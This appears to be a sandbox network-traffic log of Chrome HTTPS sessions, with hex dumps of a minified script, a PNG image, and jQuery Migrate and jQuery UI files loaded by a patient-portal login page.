2024-04-24 12:45:08 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 10104 Connection: close Date: Wed, 24 Apr 2024 09:04:27 GMT Last-Modified: Fri, 12 Apr 2024 16:30:50 GMT ETag: "cd056b72a31972be87dbbf0927dc2dfd" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 b319f27465efb04685e3475b722a10b2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P4 X-Amz-Cf-Id: neGpqZmbThtTqYUA5-GSV6acHR67zexFlWCwFPqp7RX8hOGtiPo40w== Age: 13242
2024-04-24 12:45:08 UTC	10104	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 20 63 3d 6e 75 6c 6c 3b 63 6f 6e 73 74 20 75 3d 5b 22 64 65 62 75 67 22 2c 22 69 6e 66 6f 22 2c 22 77 61 72 6e 22 2c 22 65 72 72 6f 72 22 5d 3b 6c 65 74 20 61 3d 75 2e 72 65 64 75 63 65 28 28 65 2c 64 2c 61 29 3d 3e 28 65 5b 64 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 64 65 62 75 67 22 3d 3d 3d 64 3f 22 6c 6f 67 22 3a 64 3b 69 66 28 63 26 26 63 6f 6e 73 6f 6c 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 5b 65 5d 29 7b 76 61 72 20 74 3d 75 2e 69 6e 64 65 78 4f 66 28 63 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 69 66 28 21 30 3d 3d 3d 63 7c 7c 2d 31 3c 74 26 Data Ascii: !function(){"use strict";let c=null;const u=["debug","info","warn","error"];let a=u.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=u.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	50080	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	538	OUT	GET /wp-content/uploads/2023/11/HDR-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:08 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/png Content-Length: 341758 Connection: close Last-Modified: Thu, 16 Nov 2023 13:55:19 GMT ETag: "65561f47-536fe" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:08 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd 0d 98 5c 65 7d 37 fe df f0 96 c8 db 2e f2 8e 85 6c 5a 51 10 30 01 e9 48 11 25 a0 62 05 81 50 41 a8 3e 98 a0 83 5a 95 26 8a 14 1f fd 2b 41 1f 5f a8 22 a1 16 4b eb 2a 49 b9 ea 83 a2 12 f0 81 6a 55 08 88 a8 5b 84 a5 88 68 b5 66 03 2d 2f 0a 92 05 89 09 a0 f3 bf ee e1 2c 86 90 97 dd cd 99 99 73 ce 7c 3e d7 35 57 42 48 ce dc e7 be cf cc ce 9c f3 3d bf 5f ad d9 6c 06 00 00 00 00 00 00 00 00 00 13 b7 99 39 03 00 00 00 00 00 00 00 00 98 1c 01 2c 00 00 00 00 00 00 00 00 80 49 12 c0 02 00 00 00 00 00 00 00 00 98 24 01 2c 00 00 00 00 00 00 00 00 80 49 12 c0 02 00 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATx\e}7.lZQ0H%bPA>Z&+A_"K*IjU[hf-/,s\|>5WBH=_l9,I$,I
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 2f c8 7b fe aa d5 ad 9f 93 29 28 b9 d7 b1 67 c6 ee af 3f a7 00 83 02 4a 4c 82 13 00 a0 22 04 b0 00 00 ca c7 c9 39 a0 e7 a4 8a 1a cb 2e fb 48 9c 70 e4 fe 1d ab b0 b4 a6 ad b6 dc 3c de 7d ea e1 71 d9 87 cf e8 da d4 9f 75 ea cb db ba fd 54 75 e7 cf de 7c ee 26 b5 7f 4a 55 c2 76 3f e9 9c 56 fb c2 4e 48 ed a0 c8 41 16 c4 da e1 e5 ef 8c 93 de 7b 49 2b 74 52 b5 30 56 7a 0d 5f fd 89 b7 b5 82 9c 79 da ff b9 bb e5 ba bd d4 96 ed c6 1f ff 67 ae db dc 90 1b 86 7f 9e db b6 f6 d8 65 fb 5c c7 96 02 96 79 b7 77 dc 90 14 9e 1a b9 67 45 bc e3 bc af c4 f4 93 3f 14 7f f6 8e 4f c5 51 67 5d d4 fa 7d 7a 5d 7c eb 07 3f 8f 87 1f dd f0 fb e3 ca 55 8f 4d b8 5a e2 55 37 fc 28 d7 fd 38 e4 85 03 b9 6e 6f 22 52 85 ca 7d ff 78 97 dc b6 97 02 78 a9 3a 5f 6a 5b f8 a6 d9 2f 8e 58 55 d0 f7 Data Ascii: /{)(g?JL"9.Hp<}quTu\|&JUv?VNHA{I+tR0Vz_yge\ywgE?OQg]}z]\|?UMZU7(8no"R}xx:_j[/XU
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: a3 0a a5 1f 1d 7b 36 65 48 b8 f6 5f ee 8c c0 7f 87 bb f3 f0 15 f3 2b 77 ed c5 38 0b c5 78 31 e8 d7 25 ef 8a 8f d5 cb 8c 17 e1 3a 8c f8 28 fb 11 75 89 49 2e 31 86 90 bb 4c f0 f3 54 f2 78 59 8a 99 b5 c7 81 47 03 ea 65 43 ec 21 fa 23 b5 93 68 e0 ae b8 af b7 f6 ba 77 ca 6b 36 31 89 7a 8d 9e a5 dd ff a0 f0 56 5a f7 33 de 9e 82 3c 4e e7 af dc a4 ef f7 fe 4a 93 96 6e 72 db 4e 34 00 00 ce 90 9a 76 47 e9 bd f2 e7 73 af 49 1f 1b f3 b1 35 9b b4 ef c2 d2 16 ac dd 2d 52 b1 e3 33 75 c5 b7 4d 0b 45 63 0c ef 03 66 13 1d 9c f7 77 a5 17 3a 38 93 77 91 42 f4 d9 f8 be e4 df fd 1d fc ec 06 e0 da e4 3f a8 00 00 00 c0 25 21 80 05 00 00 e0 79 02 f1 98 03 18 90 d5 a2 05 5e 06 77 7f 86 9e 28 5f 22 df 57 78 db c3 12 15 4a 57 a3 36 8d ab d1 f5 e4 97 29 3a f6 14 8d 9a f7 15 82 10 0a Data Ascii: {6eH_+w8x1%:(uI.1LTxYGeC!#hwk61zVZ3<NJnrN4vGsI5-R3uMEcfw:8wB?%!y^w(_"WxJW6):
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: b3 aa ee 35 76 4e 01 36 88 d3 33 a4 42 fb 21 12 1f 1d 21 fd 3b 3f 2e be d6 42 7a 26 6d a7 cb 57 7e 93 e5 6b f6 98 f2 33 06 40 8f 1a 55 2a 49 fb c7 6b ca df aa 96 97 c7 2a 97 93 07 03 5c 33 c8 09 00 9e e4 66 95 b2 52 8f 67 c8 ae 83 47 65 db fe 34 f9 70 f3 2e f9 6e ff 41 ee 39 80 7c 5b f1 d5 5e a3 0a b6 2e aa 9a d6 bc a1 7d a4 e7 f8 37 4d b9 19 ea 99 fb f8 e9 ce 12 50 4a ff e1 33 38 8f 0a d6 bd 3d aa bb cb 57 ea fe 7a db 7f 5d 60 16 00 00 00 37 47 00 0b 00 00 a0 20 ac 16 89 ef d7 c5 e1 c1 19 b5 11 d6 35 2c 58 da 34 9c 28 f1 f3 bf 96 b1 ef 7d a4 f5 54 eb b7 07 8e 49 8b 7a 15 b5 8d e7 08 17 33 af c8 cc 25 9b f4 55 6a f2 b7 c9 cb cd 1f 97 a1 11 cd af b7 87 bc 7d 2b 88 d0 9a 0f d9 75 b9 98 84 f9 f2 ce ea 2d b2 ec d5 48 a9 14 58 d2 ae b1 ec a1 c2 77 8b 3e df 29 Data Ascii: 5vN63B!!;?.Bz&mW~k3@UIk\3fRgGe4p.nA9\|[^.}7MPJ38=Wz]`7G 5,X4(}TIz3%Uj}+u-HXw>)
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: b9 d6 f8 c8 de d2 30 a8 96 5b ae 75 33 e7 2f 5c 92 29 6f 6c fc a9 c2 93 1b db 27 5e 53 51 b1 0c 4d 5e a1 05 be 2a c4 e9 d0 f6 39 8d 9a 1b b5 77 ab 85 d2 f4 9e 17 00 00 6c 8a 00 16 00 bb a2 02 16 3c ca ce 3d 39 32 c0 b5 d8 d0 10 d6 de f9 63 b5 f2 d5 86 29 2a 96 ff 19 f9 4a c5 37 1c ca 41 6d 4a a8 d0 09 e0 cd 5c 43 c2 e5 5c 56 8a 0c ec d1 9a af 03 00 00 00 00 28 a7 c8 1e ad b5 77 aa 11 7d ba 31 75 f0 58 23 7b 77 d0 ed d6 57 fe cd 3d 67 a0 d5 fe e4 c4 21 9d dc 72 ad 9b b9 70 f1 b2 0c 7d 29 53 a6 67 ac 35 64 3c 65 f5 96 5d 72 b6 e8 7c 85 7e 6f 56 72 ac 61 e1 2b 55 a9 4b ed dd 12 be 82 9b 51 01 0b 80 57 21 80 05 c0 ae a8 80 05 8f 93 b5 33 5b 62 67 ac d6 36 02 8c a0 da 90 7d 93 11 6f 68 bb 3e 75 2a ee f1 51 af ca d9 a2 0b ba 8f 15 fe 78 73 19 de a7 ab ee e3 00 Data Ascii: 0[u3/\)ol'^SQM^9wl<=92c)J7AmJ\C\V(w}1uX#{wW=g!rp})Sg5d<e]r\|~oVra+UKQW!3[bg6}oh>u*Qxs
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: db 45 75 57 ca d6 b9 89 5a 8b 60 bb fa e3 3d 8d 74 dd b3 85 1b 3e b3 ed b1 c2 40 2a 7c b5 28 45 22 ea 84 52 65 00 00 00 00 00 80 00 d3 b2 59 5d d9 9f 91 4a 08 0b e5 a2 de 47 ff 69 e9 38 09 ab 69 fe 18 b9 9c c3 79 52 bb 47 8a e4 64 e5 d8 63 11 3d 6e d9 9e 9e 6c ca fb ad 33 57 38 f7 52 9e 7a ce a8 90 5a d7 fb 6e 3b 3f a2 b1 4a e5 8a f2 ce d4 38 c6 11 da 17 d7 8e 01 87 20 80 05 d8 8c 2f 33 9d 5f a2 b0 bd f9 1f 7c ac b5 15 36 8a ba e3 42 b5 08 f6 d6 aa 69 cb 52 fc ee 7f 6e b0 c1 5e c0 c9 6a dc 54 9b f0 15 00 00 00 00 00 40 80 0b af ed 25 84 85 32 53 93 24 fe 99 31 ca f0 6e 4f 97 a3 c2 57 e1 3d 46 da 67 0c 5f 51 f8 aa 49 83 5a 86 3f 94 3a f6 cd db 76 1a fe 38 46 78 a6 5b 07 d9 35 7f c4 65 df 97 0e 0e 72 cb 9e f4 91 8e 3c ae 00 c0 b5 63 c0 21 08 60 01 f6 b4 91 Data Ascii: EuWZ`=t>@*\|(E"ReY]JGi8iyRGdc=nl3W8RzZn;?J8 /3_\|6BiRn^jT@%2S$1nOW=Fg_QIZ?:v8Fx[5er<c!`
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: ba 5a 9d 2b ea 52 55 f8 f9 45 dd 75 ce 16 fd bf a2 8e 55 c5 9d ac ce 55 ac 28 52 d4 f9 aa f8 08 8a 9b 63 55 28 fa 1d 51 d8 ec aa a8 83 56 71 9b 9e b3 c5 8f 79 a6 e8 73 2a 5c b0 85 8b 5b 60 15 77 db f2 a9 ef b5 0a 85 6f 65 57 2c fa b7 b3 45 1d ba ce 3f a8 fa 8d 75 aa b0 b3 d7 57 ff fc 57 d1 7e 14 6e 77 cb 57 39 85 db d1 3e f5 8b c2 cf f6 15 77 f6 2a dc 8f c6 0d c2 b4 8f cd c2 42 a5 d9 4d d5 b5 bf df 1e 5e a3 f0 df fe e7 86 ab 2d d1 25 fb ae b7 ab bd 7e e2 27 43 20 2b 49 e7 2b 5e 7d eb e9 da d5 2c ee 06 e8 72 d1 fb c0 df 6c 9d 9b 20 55 3b 0e 17 39 76 3c d0 4b e1 b7 e6 ff ed 03 79 aa eb bd 72 57 e3 30 39 9a 77 52 86 4f 5f ad fd 9b 3f b0 ba eb 95 72 ea f4 59 e9 3f f6 8d 52 4d 82 01 4a 80 ee 57 b0 1d 02 58 b0 8c 2f 33 7d bb 2b 32 76 87 88 34 61 15 60 a4 cd db Data Ascii: Z+RUEuUU(RcU(QVqys\[`woeW,E?uWW~nwW9>wBM^-%~'C +I+^},rl U;9v<KyrW09wRO_?rY?RMJWX/3}+2v4a`
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 4a 44 df 6a b1 f1 2c 08 6b 3b 9c 08 ec 02 02 b0 40 91 a3 c5 c6 0f 25 22 96 76 30 1a de cf ce 27 2f c6 53 d9 d2 79 07 ec 84 12 6c 10 b8 30 f1 71 ea 39 66 46 48 ee 5f fa d1 63 84 b8 fd 10 07 a9 07 83 96 9f e7 ce e3 55 df 3c f1 65 32 9c 97 f9 b2 29 67 a3 3a e5 84 7c 87 a6 54 af 74 6b 72 3e 9b 99 4a 1e b3 ac d5 f4 5f d3 74 92 26 67 0d 9b 86 b5 32 37 2e f9 b9 fc 33 28 d0 2d 55 02 dd 9a 15 ad 66 9c 93 11 21 f7 5c 4e 7d 66 b3 38 e5 ea a6 52 08 93 bf d7 0c 31 a3 9e a9 81 39 e4 4a db 67 88 73 fe f1 f5 3f 72 db ee dd d7 b9 2d 5d b9 72 d8 f5 43 00 00 00 00 80 60 42 33 e4 f8 4f 0d 85 d9 30 50 0e 11 75 29 47 b5 6e b7 50 b0 ea d6 b0 76 ee 7b a6 65 57 78 59 f0 c3 2e f9 9d 52 04 91 03 4c 39 f6 74 98 26 b9 34 31 6e 77 39 4a 88 cf 5c 72 fc 6e 8d bb 59 fd 1c b2 44 83 40 ee Data Ascii: JDj,k;@%"v0'/Syl0q9fFH_cU<e2)g:\|Ttkr>J_t&g27.3(-Uf!\N}f8R19Jgs?r-]rC`B3O0Pu)GnPv{eWxY.RL9t&41nw9J\rnYD@
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 2f fb b5 56 f7 83 37 57 a8 79 29 db 32 c1 b2 7d 69 4d 93 81 3c e3 12 d3 0b 2c 13 e8 a8 8c 27 a1 61 7b 67 9d c0 b9 8b 97 be 50 73 e6 0f 0e 50 a9 08 33 ca 5b ba 1c 86 29 0e 3d da 9d 0d bd 3a b7 87 0f be 58 cd fd 96 c0 0c bf b4 43 54 1b d7 bb e3 79 a7 75 c0 8a 2a e9 e5 4a 9c 4d 68 d9 9a 1f e0 b7 9d c3 77 c0 ba b2 67 1b f8 c7 2b ef 94 62 a3 19 86 29 2b d8 01 ab 74 61 c9 b7 04 a3 2c d4 af f2 c3 ad c3 d8 c1 9d e1 f7 97 77 80 37 96 ae 87 ab a7 bf 10 11 47 ac f1 03 7a 95 7a fb 7e c1 94 7f ae b7 fb 1b 9f ae 83 9f 0f 1d 85 b7 57 af 67 75 2a a6 44 cc 7f 68 14 77 1c c3 30 0c c3 30 0c c3 30 0c c3 30 0c c3 30 0c c3 94 80 59 7f ba 06 ce be 82 1d b0 12 96 f4 72 90 51 31 2d 2a ad 3b 72 3c 1b c6 fd 6d 21 bc f0 ce c7 a7 5d 77 f3 ce 9f a1 7d f3 da 11 af 83 2b 64 d1 a0 56 cd Data Ascii: /V7Wy)2}iM<,'a{gPsP3[)=:XCTyuJMhwg+b)+ta,w7Gzz~WguDhw00000YrQ1-*;r<m!]w}+dV
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 96 34 68 4d ee d2 b7 eb 69 d4 11 99 da 69 83 af e2 f9 6c a1 c8 91 64 0d d6 6c da dc fc 62 53 dd 22 a5 27 87 a7 f7 6c df a1 ed 1b 43 4c 49 c9 6f 97 2e 34 b3 fa ca 86 7e 3b be 99 f0 45 c9 8a d7 bf aa 78 36 bd 70 5e 7f 3d 7d e9 3b 26 a3 a3 5a ad 9a 66 4b 9c 7d 19 26 a2 8a f2 56 c0 db 54 29 ca 45 c9 ea 4f ab de 78 8b b7 c1 6d f5 25 bb dc 6c b3 68 d4 5d 54 ad 66 01 25 ef 98 cf eb 5b f1 fc 44 6d a7 dd fe 3f 14 d8 74 f4 48 3d 4a 93 67 b2 02 7d 6f af 55 2e 70 fd 6a 66 9b bc 3e 9b 5d 1e 78 b4 7d f5 3a 3d f9 fa a5 43 b4 3d 7f f2 f3 da 16 d4 ae c5 db 26 72 24 1b de 2a 5f c5 b7 19 ce b3 4f 22 ae 95 97 92 cf 91 3a 97 f5 93 3d 6a 66 6a ea ad bf a4 e5 93 4d cd 77 c9 04 cd e3 6d 78 72 6c 7c 87 7c 47 82 6c e3 ed 70 7c 51 c6 f2 68 eb 4a 53 29 79 ea c8 5f 6a fb cd 9c b9 da Data Ascii: 4hMiildlbS"'lCLIo.4~;Ex6p^=};&ZfK}&VT)EOxm%lh]Tf%[Dm?tH=Jg}oU.pjf>]x}:=C=&r$*_O":=jfjMwmxrl\|\|Glp\|QhJS)y_j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50083	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	790	OUT	GET /portal14763/script/newui/js/jquery-migrate-3.1.0.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: text/javascript Content-Length: 19072 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:08 GMT Accept-Ranges: bytes ETag: W/"19072-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:08 UTC	15923	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 2d 20 76 33 2e 31 2e 30 20 2d 20 32 30 31 39 2d 30 36 2d 30 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 2f 0a 3b 28 20 66 75 6e 63 74 69 6f 6e 28 20 66 61 63 74 6f 72 79 20 29 20 7b 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 20 29 20 7b 0a 0a 09 09 2f 2f 20 41 4d 44 2e 20 52 65 67 69 73 74 65 72 20 61 73 20 61 6e 20 61 6e 6f 6e 79 6d 6f 75 73 20 6d 6f 64 75 6c 65 2e 0a 09 09 64 65 66 69 6e 65 28 20 5b 20 22 6a 71 75 65 72 79 22 20 5d 2c 20 66 75 6e 63 74 69 6f Data Ascii: /! jQuery Migrate - v3.1.0 - 2019-06-08 * Copyright OpenJS Foundation and other contributors */;( function( factory ) {if ( typeof define === "function" && define.amd ) {// AMD. Register as an anonymous module.define( [ "jquery" ], functio
2024-04-24 12:45:08 UTC	3149	IN	Data Raw: 6f 72 2c 20 22 2a 2a 22 20 29 20 3a 0a 09 09 09 74 68 69 73 2e 6f 66 66 28 20 74 79 70 65 73 2c 20 73 65 6c 65 63 74 6f 72 20 7c 7c 20 22 2a 2a 22 2c 20 66 6e 20 29 3b 0a 09 7d 2c 0a 09 68 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 6e 4f 76 65 72 2c 20 66 6e 4f 75 74 20 29 20 7b 0a 09 09 6d 69 67 72 61 74 65 57 61 72 6e 28 20 22 6a 51 75 65 72 79 2e 66 6e 2e 68 6f 76 65 72 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 20 29 3b 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 20 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 20 66 6e 4f 76 65 72 20 29 2e 6f 6e 28 20 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 20 66 6e 4f 75 74 20 7c 7c 20 66 6e 4f 76 65 72 20 29 3b 0a 09 7d 0a 7d 20 29 3b 0a 0a 0a 76 61 72 20 6f 6c 64 4f 66 66 73 65 74 20 3d 20 6a 51 Data Ascii: or, "" ) :this.off( types, selector \|\| "", fn );},hover: function( fnOver, fnOut ) {migrateWarn( "jQuery.fn.hover() is deprecated" );return this.on( "mouseenter", fnOver ).on( "mouseleave", fnOut \|\| fnOver );}} );var oldOffset = jQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50085	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	779	OUT	GET /portal14763/script/newui/js/jquery-ui.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	463	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: text/javascript Content-Length: 545401 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:08 GMT Accept-Ranges: bytes ETag: W/"545401-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:08 UTC	15921	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 33 2e 32 20 2d 20 32 30 32 32 2d 30 37 2d 31 34 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 74 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 64 61 74 61 2e 6a 73 2c 20 64 69 73 61 62 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 63 6c 69 70 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 64 72 6f 70 2e 6a 73 2c 20 65 66 66 65 63 74 73 2f 65 66 66 65 63 74 2d 65 78 70 6c Data Ascii: /! jQuery UI - v1.13.2 - 2022-07-14 http://jqueryui.com* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-expl
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 09 09 69 66 20 28 20 6f 70 74 69 6f 6e 73 2e 65 78 74 72 61 20 29 20 7b 0a 09 09 09 09 70 72 6f 63 65 73 73 43 6c 61 73 73 53 74 72 69 6e 67 28 20 6f 70 74 69 6f 6e 73 2e 65 78 74 72 61 2e 6d 61 74 63 68 28 20 2f 5c 53 2b 2f 67 20 29 20 7c 7c 20 5b 5d 20 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6c 6c 2e 6a 6f 69 6e 28 20 22 20 22 20 29 3b 0a 09 09 7d 2c 0a 0a 09 09 5f 75 6e 74 72 61 63 6b 43 6c 61 73 73 65 73 45 6c 65 6d 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0a 09 09 09 76 61 72 20 74 68 61 74 20 3d 20 74 68 69 73 3b 0a 09 09 09 24 2e 65 61 63 68 28 20 74 68 61 74 2e 63 6c 61 73 73 65 73 45 6c 65 6d 65 6e 74 4c 6f 6f 6b 75 70 2c 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 2c 20 76 61 6c 75 65 20 29 20 Data Ascii: if ( options.extra ) {processClassString( options.extra.match( /\S+/g ) \|\| [] );}return full.join( " " );},_untrackClassesElement: function( event ) {var that = this;$.each( that.classesElementLookup, function( key, value )
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 09 09 09 09 09 09 2f 2f 20 45 6c 65 6d 65 6e 74 20 69 73 20 69 6e 69 74 69 61 6c 6c 79 20 6f 76 65 72 20 72 69 67 68 74 20 73 69 64 65 20 6f 66 20 77 69 74 68 69 6e 0a 09 09 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 6f 76 65 72 52 69 67 68 74 20 3e 20 30 20 26 26 20 6f 76 65 72 4c 65 66 74 20 3c 3d 20 30 20 29 20 7b 0a 09 09 09 09 09 09 09 70 6f 73 69 74 69 6f 6e 2e 6c 65 66 74 20 3d 20 77 69 74 68 69 6e 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 09 09 09 2f 2f 20 45 6c 65 6d 65 6e 74 20 69 73 20 69 6e 69 74 69 61 6c 6c 79 20 6f 76 65 72 20 62 6f 74 68 20 6c 65 66 74 20 61 6e 64 20 72 69 67 68 74 20 73 69 64 65 73 20 6f 66 20 77 69 74 68 69 6e 0a 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 69 66 20 28 20 6f 76 65 72 4c 65 66 74 20 Data Ascii: // Element is initially over right side of within} else if ( overRight > 0 && overLeft <= 0 ) {position.left = withinOffset;// Element is initially over both left and right sides of within} else {if ( overLeft
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 20 5d 3b 0a 09 09 09 65 61 63 68 28 20 73 70 61 63 65 2e 70 72 6f 70 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 5f 6b 65 79 2c 20 70 72 6f 70 20 29 20 7b 0a 09 09 09 09 76 61 72 20 69 6e 64 65 78 20 3d 20 70 72 6f 70 2e 69 64 78 2c 0a 09 09 09 09 09 73 74 61 72 74 56 61 6c 75 65 20 3d 20 73 74 61 72 74 5b 20 69 6e 64 65 78 20 5d 2c 0a 09 09 09 09 09 65 6e 64 56 61 6c 75 65 20 3d 20 65 6e 64 5b 20 69 6e 64 65 78 20 5d 2c 0a 09 09 09 09 09 74 79 70 65 20 3d 20 70 72 6f 70 54 79 70 65 73 5b 20 70 72 6f 70 2e 74 79 70 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 0a 09 09 09 09 2f 2f 20 69 66 20 6e 75 6c 6c 2c 20 64 6f 6e 27 74 20 6f 76 65 72 72 69 64 65 20 73 74 61 72 74 